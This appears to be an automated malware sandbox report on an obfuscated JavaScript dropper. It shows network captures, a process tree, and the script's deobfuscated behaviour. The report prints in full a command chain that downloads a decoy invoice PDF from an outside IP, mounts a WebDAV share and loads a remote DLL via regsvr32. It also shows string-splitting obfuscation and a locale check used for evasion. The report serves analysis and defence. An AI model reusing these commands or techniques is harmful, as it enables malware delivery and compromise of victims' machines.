Jan 11, 2025 02:36:26.289223909 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:36:26.289241076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 02:36:26.289252996 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 02:36:26.289263964 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 02:36:26.289288998 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 02:36:26.289328098 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 02:36:26.289340019 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 02:36:26.289393902 CET	104	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?
Jan 11, 2025 02:36:26.289405107 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 02:36:26.294235945 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	4640	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:36:27.987896919 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:36:28.768901110 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:36:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	20:36:21
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225111419252504808.js"
Imagebase:	0x7ff60e200000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:36:21
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll
Imagebase:	0x7ff776c70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:36:21
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:36:21
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:36:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:36:27
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff776c70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:36:27
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff790180000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:36:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:36:27
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:36:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1636,i,17588879317653258415,7033823305071933733,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function noqikln() {	noqikln() ➔ undefined
1	pxfzl = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tpflgtbhs = this[btfiquiz + nqxirnobc + ixyrqltn + wifpf + ixphppa + ayunu + xstkv + wmqtrxfv] ( this[nyahlrcy + bgbujyb + fkozvkku + ixyrqltn + bfhtan + btfiquiz + wmqtrxfv][qqjdfuuh + ixyrqltn + ixphppa + nqxirnobc + wmqtrxfv + ixphppa + urgcufn + aufzaac + bzwkblp + ixphppa + fkozvkku + wmqtrxfv] ( nyahlrcy + bgbujyb + fkozvkku + ixyrqltn + bfhtan + btfiquiz + wmqtrxfv + vlrjirmzy + bgbujyb + zluvwy + ixphppa + zcexxjwvo + zcexxjwvo ) [lrupw + ixphppa + kroswl + lrupw + ixphppa + nqxirnobc + viyvsanv] ( bnbjd + cdirpbe + aqkldx + iirtzwfxy + myskyc + qqjdfuuh + ivvovhze + lrupw + lrupw + aqkldx + jjonhhath + cbjtwhkbg + myskyc + ivvovhze + bgbujyb + aqkldx + lrupw + bfjhpgla + qqjdfuuh + tzwlelw + xstkv + wmqtrxfv + ixyrqltn + tzwlelw + zcexxjwvo + tmiiqzi + okkaezzm + nqxirnobc + xstkv + ixphppa + zcexxjwvo + bfjhpgla + ayunu + xstkv + wmqtrxfv + ixphppa + ixyrqltn + xstkv + nqxirnobc + wmqtrxfv + bfhtan + tzwlelw + xstkv + nqxirnobc + zcexxjwvo + bfjhpgla + cbpskmd + tzwlelw + fkozvkku + nqxirnobc + zcexxjwvo + ixphppa ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( edcurgm = 0 ; edcurgm < pxfzl[zcexxjwvo + ixphppa + xstkv + kroswl + wmqtrxfv + zluvwy] ; ++ edcurgm )
4	{
5	if ( tpflgtbhs == pxfzl[edcurgm] )
6	{
7	tpflgtbhs = true;
8	break ;
9	}
10	}
11	if ( tpflgtbhs !== true )
12	this[nyahlrcy + bgbujyb + fkozvkku + ixyrqltn + bfhtan + btfiquiz + wmqtrxfv][pbydhve + ngxjt + bfhtan + wmqtrxfv] ( );
13	this[nyahlrcy + bgbujyb + fkozvkku + ixyrqltn + bfhtan + btfiquiz + wmqtrxfv][qqjdfuuh + ixyrqltn + ixphppa + nqxirnobc + wmqtrxfv + ixphppa + urgcufn + aufzaac + bzwkblp + ixphppa + fkozvkku + wmqtrxfv] ( nyahlrcy + bgbujyb + fkozvkku + ixyrqltn + bfhtan + btfiquiz + wmqtrxfv + vlrjirmzy + bgbujyb + zluvwy + ixphppa + zcexxjwvo + zcexxjwvo ) [ixyrqltn + ngxjt + xstkv] ( fkozvkku + rqbty + viyvsanv + tmiiqzi + gwzwlhde + fkozvkku + tmiiqzi + btfiquiz + tzwlelw + crjxgv + ixphppa + ixyrqltn + wifpf + zluvwy + ixphppa + zcexxjwvo + zcexxjwvo + vlrjirmzy + ixphppa + jkttdhxaa + ixphppa + tmiiqzi + zqcjys + qqjdfuuh + tzwlelw + rqbty + rqbty + nqxirnobc + xstkv + viyvsanv + tmiiqzi + cpndhdng + ayunu + xstkv + fatrzvd + tzwlelw + athoz + ixphppa + zqcjys + nyahlrcy + ixphppa + aufzaac + lrupw + ixphppa + vrygpqxkr + ngxjt + ixphppa + wifpf + wmqtrxfv + tmiiqzi + zqcjys + urgcufn + ngxjt + wmqtrxfv + yzpfylo + bfhtan + zcexxjwvo + ixphppa + tmiiqzi + qsgaepgcy + wmqtrxfv + ixphppa + rqbty + btfiquiz + qsgaepgcy + bfjhpgla + bfhtan + xstkv + fatrzvd + tzwlelw + bfhtan + fkozvkku + ixphppa + vlrjirmzy + btfiquiz + viyvsanv + qkslbijuz + tmiiqzi + zluvwy + wmqtrxfv + wmqtrxfv + btfiquiz + vihvbherp + gwzwlhde + gwzwlhde + zlfksxwwi + wvurqhhma + pqujts + vlrjirmzy + zlfksxwwi + cyozw + pqujts + vlrjirmzy + zlfksxwwi + vlrjirmzy + uxgsixqa + xdxcz + ozoyywep + gwzwlhde + bfhtan + xstkv + fatrzvd + tzwlelw + bfhtan + fkozvkku + ixphppa + vlrjirmzy + btfiquiz + zluvwy + btfiquiz + cpndhdng + imqlpw + imqlpw + wifpf + wmqtrxfv + nqxirnobc + ixyrqltn + wmqtrxfv + tmiiqzi + qsgaepgcy + wmqtrxfv + ixphppa + rqbty + btfiquiz + qsgaepgcy + bfjhpgla + bfhtan + xstkv + fatrzvd + tzwlelw + bfhtan + fkozvkku + ixphppa + vlrjirmzy + btfiquiz + viyvsanv + qkslbijuz + imqlpw + imqlpw + fkozvkku + rqbty + viyvsanv + tmiiqzi + gwzwlhde + fkozvkku + tmiiqzi + xstkv + ixphppa + wmqtrxfv + tmiiqzi + ngxjt + wifpf + ixphppa + tmiiqzi + bfjhpgla + bfjhpgla + zlfksxwwi + wvurqhhma + pqujts + vlrjirmzy + zlfksxwwi + cyozw + pqujts + vlrjirmzy + zlfksxwwi + vlrjirmzy + uxgsixqa + xdxcz + ozoyywep + ijppcl + zlegoxnn + zlegoxnn + zlegoxnn + zlegoxnn + bfjhpgla + viyvsanv + nqxirnobc + fatrzvd + crjxgv + crjxgv + crjxgv + ixyrqltn + tzwlelw + tzwlelw + wmqtrxfv + bfjhpgla + imqlpw + imqlpw + fkozvkku + rqbty + viyvsanv + tmiiqzi + gwzwlhde + fkozvkku + tmiiqzi + ixyrqltn + ixphppa + kroswl + wifpf + fatrzvd + ixyrqltn + pqujts + uxgsixqa + tmiiqzi + gwzwlhde + wifpf + tmiiqzi + bfjhpgla + bfjhpgla + zlfksxwwi + wvurqhhma + pqujts + vlrjirmzy + zlfksxwwi + cyozw + pqujts + vlrjirmzy + zlfksxwwi + vlrjirmzy + uxgsixqa + xdxcz + ozoyywep + ijppcl + zlegoxnn + zlegoxnn + zlegoxnn + zlegoxnn + bfjhpgla + viyvsanv + nqxirnobc + fatrzvd + crjxgv + crjxgv + crjxgv + ixyrqltn + tzwlelw + tzwlelw + wmqtrxfv + bfjhpgla + zlfksxwwi + zlfksxwwi + uxgsixqa + zlegoxnn + zlfksxwwi + zlfksxwwi + pqujts + pqujts + xdxcz + oehkwdzde + uxgsixqa + xdxcz + xdxcz + ozoyywep + oehkwdzde + vlrjirmzy + viyvsanv + zcexxjwvo + zcexxjwvo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll",0,false) ➔ 0
14	}
15	qkslbijuz = "D";
16	qkslbijuz = "z";
17	qkslbijuz = "b";
18	qkslbijuz = "z";
19	qkslbijuz = "b";
20	qkslbijuz = "Z";
21	qkslbijuz = "V";
22	qkslbijuz = "A";
23	qkslbijuz = "p";
24	qkslbijuz = "n";
25	qkslbijuz = "X";
26	qkslbijuz = "P";
27	qkslbijuz = "h";
28	qkslbijuz = "W";
29	qkslbijuz = "v";
30	qkslbijuz = "z";
31	qkslbijuz = "c";
32	qkslbijuz = "Z";
33	qkslbijuz = "Z";
34	qkslbijuz = "A";
35	qkslbijuz = "e";
36	qkslbijuz = "v";
37	qkslbijuz = "B";
38	qkslbijuz = "C";
39	qkslbijuz = "C";
40	qkslbijuz = "M";
41	qkslbijuz = "k";
42	qkslbijuz = "a";
43	qkslbijuz = "n";
44	qkslbijuz = "d";
45	qkslbijuz = "c";
46	qkslbijuz = "I";
47	qkslbijuz = "a";
48	qkslbijuz = "M";
49	qkslbijuz = "g";
50	qkslbijuz = "Z";
51	qkslbijuz = "j";
52	qkslbijuz = "q";
53	qkslbijuz = "f";
54	cbpskmd = "I";
55	cbpskmd = "k";
56	cbpskmd = "B";
57	cbpskmd = "Z";
58	cbpskmd = "I";
59	cbpskmd = "L";
60	cbpskmd = "n";
61	cbpskmd = "P";
62	cbpskmd = "H";
63	cbpskmd = "b";
64	cbpskmd = "n";
65	cbpskmd = "W";
66	cbpskmd = "o";
67	cbpskmd = "O";
68	cbpskmd = "J";
69	cbpskmd = "R";
70	cbpskmd = "G";
71	cbpskmd = "m";
72	cbpskmd = "d";
73	cbpskmd = "U";
74	cbpskmd = "L";
75	gwzwlhde = "o";
76	gwzwlhde = "q";
77	gwzwlhde = "C";
78	gwzwlhde = "a";
79	gwzwlhde = "k";
80	gwzwlhde = "w";
81	gwzwlhde = "m";
82	gwzwlhde = "D";
83	gwzwlhde = "r";
84	gwzwlhde = "v";
85	gwzwlhde = "k";
86	gwzwlhde = "c";
87	gwzwlhde = "e";
88	gwzwlhde = "O";
89	gwzwlhde = "t";
90	gwzwlhde = "F";
91	gwzwlhde = "T";
92	gwzwlhde = "p";
93	gwzwlhde = "A";
94	gwzwlhde = "n";
95	gwzwlhde = "W";
96	gwzwlhde = "N";
97	gwzwlhde = "Z";
98	gwzwlhde = "Y";
99	gwzwlhde = "K";
100	gwzwlhde = "/";
101	jjonhhath = "o";
102	jjonhhath = "I";
103	jjonhhath = "B";
104	jjonhhath = "e";
105	jjonhhath = "N";
106	jjonhhath = "T";
107	jjonhhath = "z";
108	jjonhhath = "P";
109	jjonhhath = "B";
110	jjonhhath = "R";
111	jjonhhath = "i";
112	jjonhhath = "G";
113	jjonhhath = "A";
114	jjonhhath = "P";
115	jjonhhath = "p";
116	jjonhhath = "s";
117	jjonhhath = "l";
118	jjonhhath = "V";
119	jjonhhath = "D";
120	jjonhhath = "z";
121	jjonhhath = "I";
122	jjonhhath = "z";
123	jjonhhath = "m";
124	jjonhhath = "B";
125	jjonhhath = "u";
126	jjonhhath = "p";
127	jjonhhath = "j";
128	jjonhhath = "m";
129	jjonhhath = "R";
130	jjonhhath = "L";
131	jjonhhath = "N";
132	kroswl = "f";
133	kroswl = "p";
134	kroswl = "f";
135	kroswl = "I";
136	kroswl = "f";
137	kroswl = "j";
138	kroswl = "M";
139	kroswl = "U";
140	kroswl = "A";
141	kroswl = "W";
142	kroswl = "A";
143	kroswl = "j";
144	kroswl = "y";
145	kroswl = "X";
146	kroswl = "x";
147	kroswl = "V";
148	kroswl = "q";
149	kroswl = "A";
150	kroswl = "v";
151	kroswl = "U";
152	kroswl = "I";
153	kroswl = "e";
154	kroswl = "G";
155	kroswl = "k";
156	kroswl = "g";
157	bgbujyb = "l";
158	bgbujyb = "L";
159	bgbujyb = "I";
160	bgbujyb = "d";
161	bgbujyb = "z";
162	bgbujyb = "t";
163	bgbujyb = "g";
164	bgbujyb = "a";
165	bgbujyb = "X";
166	bgbujyb = "S";
167	btfiquiz = "b";
168	btfiquiz = "u";
169	btfiquiz = "V";
170	btfiquiz = "x";
171	btfiquiz = "R";
172	btfiquiz = "b";
173	btfiquiz = "l";
174	btfiquiz = "t";
175	btfiquiz = "f";
176	btfiquiz = "I";
177	btfiquiz = "K";
178	btfiquiz = "e";
179	btfiquiz = "o";
180	btfiquiz = "v";
181	btfiquiz = "h";
182	btfiquiz = "J";
183	btfiquiz = "G";
184	btfiquiz = "P";
185	btfiquiz = "R";
186	btfiquiz = "z";
187	btfiquiz = "m";
188	btfiquiz = "N";
189	btfiquiz = "k";
190	btfiquiz = "l";
191	btfiquiz = "G";
192	btfiquiz = "V";
193	btfiquiz = "W";
194	btfiquiz = "p";
195	btfiquiz = "j";
196	btfiquiz = "g";
197	btfiquiz = "i";
198	btfiquiz = "k";
199	btfiquiz = "T";
200	btfiquiz = "L";
201	btfiquiz = "X";
202	btfiquiz = "T";
203	btfiquiz = "T";
204	btfiquiz = "a";
205	btfiquiz = "N";
206	btfiquiz = "B";
207	btfiquiz = "D";
208	btfiquiz = "g";
209	btfiquiz = "p";
210	viyvsanv = "Z";
211	viyvsanv = "g";
212	viyvsanv = "p";
213	viyvsanv = "v";
214	viyvsanv = "t";
215	viyvsanv = "j";
216	viyvsanv = "i";
217	viyvsanv = "b";
218	viyvsanv = "r";
219	viyvsanv = "X";
220	viyvsanv = "R";
221	viyvsanv = "g";
222	viyvsanv = "J";
223	viyvsanv = "K";
224	viyvsanv = "v";
225	viyvsanv = "w";
226	viyvsanv = "W";
227	viyvsanv = "p";
228	viyvsanv = "b";
229	viyvsanv = "r";
230	viyvsanv = "u";
231	viyvsanv = "f";
232	viyvsanv = "Y";
233	viyvsanv = "l";
234	viyvsanv = "T";
235	viyvsanv = "W";
236	viyvsanv = "j";
237	viyvsanv = "y";
238	viyvsanv = "g";
239	viyvsanv = "n";
240	viyvsanv = "d";
241	viyvsanv = "y";
242	viyvsanv = "d";
243	ozoyywep = "B";
244	ozoyywep = "k";
245	ozoyywep = "Y";
246	ozoyywep = "l";
247	ozoyywep = "5";
248	iirtzwfxy = "Y";
249	iirtzwfxy = "V";
250	iirtzwfxy = "s";
251	iirtzwfxy = "e";
252	iirtzwfxy = "s";
253	iirtzwfxy = "x";
254	iirtzwfxy = "Y";
255	vihvbherp = "V";
256	vihvbherp = "k";
257	vihvbherp = "G";
258	vihvbherp = "X";
259	vihvbherp = "h";
260	vihvbherp = "m";
261	vihvbherp = "T";
262	vihvbherp = "J";
263	vihvbherp = "R";
264	vihvbherp = "E";
265	vihvbherp = "E";
266	vihvbherp = "e";
267	vihvbherp = "x";
268	vihvbherp = "p";
269	vihvbherp = "V";
270	vihvbherp = "T";
271	vihvbherp = ":";
272	nqxirnobc = "B";
273	nqxirnobc = "O";
274	nqxirnobc = "c";
275	nqxirnobc = "V";
276	nqxirnobc = "v";
277	nqxirnobc = "u";
278	nqxirnobc = "g";
279	nqxirnobc = "s";
280	nqxirnobc = "K";
281	nqxirnobc = "f";
282	nqxirnobc = "V";
283	nqxirnobc = "c";
284	nqxirnobc = "W";
285	nqxirnobc = "Y";
286	nqxirnobc = "k";
287	nqxirnobc = "E";
288	nqxirnobc = "w";
289	nqxirnobc = "g";
290	nqxirnobc = "k";
291	nqxirnobc = "B";
292	nqxirnobc = "Z";
293	nqxirnobc = "C";
294	nqxirnobc = "u";
295	nqxirnobc = "B";
296	nqxirnobc = "E";
297	nqxirnobc = "G";
298	nqxirnobc = "W";
299	nqxirnobc = "r";
300	nqxirnobc = "P";
301	nqxirnobc = "P";
302	nqxirnobc = "d";
303	nqxirnobc = "T";
304	nqxirnobc = "d";
305	nqxirnobc = "g";
306	nqxirnobc = "Y";
307	nqxirnobc = "G";
308	nqxirnobc = "a";
309	nqxirnobc = "f";
310	nqxirnobc = "Q";
311	nqxirnobc = "M";
312	nqxirnobc = "C";
313	nqxirnobc = "j";
314	nqxirnobc = "k";
315	nqxirnobc = "I";
316	nqxirnobc = "a";
317	ngxjt = "y";
318	ngxjt = "E";
319	ngxjt = "W";
320	ngxjt = "K";
321	ngxjt = "L";
322	ngxjt = "s";
323	ngxjt = "c";
324	ngxjt = "H";
325	ngxjt = "X";
326	ngxjt = "G";
327	ngxjt = "u";
328	ngxjt = "l";
329	ngxjt = "s";
330	ngxjt = "p";
331	ngxjt = "F";
332	ngxjt = "H";
333	ngxjt = "t";
334	ngxjt = "O";
335	ngxjt = "D";
336	ngxjt = "i";
337	ngxjt = "u";
338	wifpf = "m";
339	wifpf = "s";
340	cbjtwhkbg = "B";
341	cbjtwhkbg = "p";
342	cbjtwhkbg = "x";
343	cbjtwhkbg = "S";
344	cbjtwhkbg = "E";
345	cbjtwhkbg = "T";
346	cbjtwhkbg = "e";
347	cbjtwhkbg = "P";
348	cbjtwhkbg = "n";
349	cbjtwhkbg = "y";
350	cbjtwhkbg = "L";
351	cbjtwhkbg = "w";
352	cbjtwhkbg = "R";
353	cbjtwhkbg = "T";
354	cpndhdng = "R";
355	cpndhdng = "k";
356	cpndhdng = "N";
357	cpndhdng = "z";
358	cpndhdng = "A";
359	cpndhdng = "p";
360	cpndhdng = "c";
361	cpndhdng = "Z";
362	cpndhdng = "f";
363	cpndhdng = "B";
364	cpndhdng = "d";
365	cpndhdng = "a";
366	cpndhdng = "J";
367	cpndhdng = "L";
368	cpndhdng = "L";
369	cpndhdng = "h";
370	cpndhdng = "z";
371	cpndhdng = "A";
372	cpndhdng = "I";
373	cpndhdng = "y";
374	cpndhdng = "h";
375	cpndhdng = "u";
376	cpndhdng = "l";
377	cpndhdng = "a";
378	cpndhdng = "m";
379	cpndhdng = "f";
380	cpndhdng = "G";
381	cpndhdng = "D";
382	cpndhdng = "l";
383	cpndhdng = "F";
384	cpndhdng = "Q";
385	cpndhdng = "N";
386	cpndhdng = "a";
387	cpndhdng = "q";
388	cpndhdng = "Y";
389	cpndhdng = "u";
390	cpndhdng = "y";
391	cpndhdng = "Y";
392	cpndhdng = "s";
393	cpndhdng = "L";
394	cpndhdng = "X";
395	cpndhdng = "x";
396	cpndhdng = "\"";
397	bfhtan = "n";
398	bfhtan = "V";
399	bfhtan = "h";
400	bfhtan = "w";
401	bfhtan = "Z";
402	bfhtan = "N";
403	bfhtan = "A";
404	bfhtan = "e";
405	bfhtan = "N";
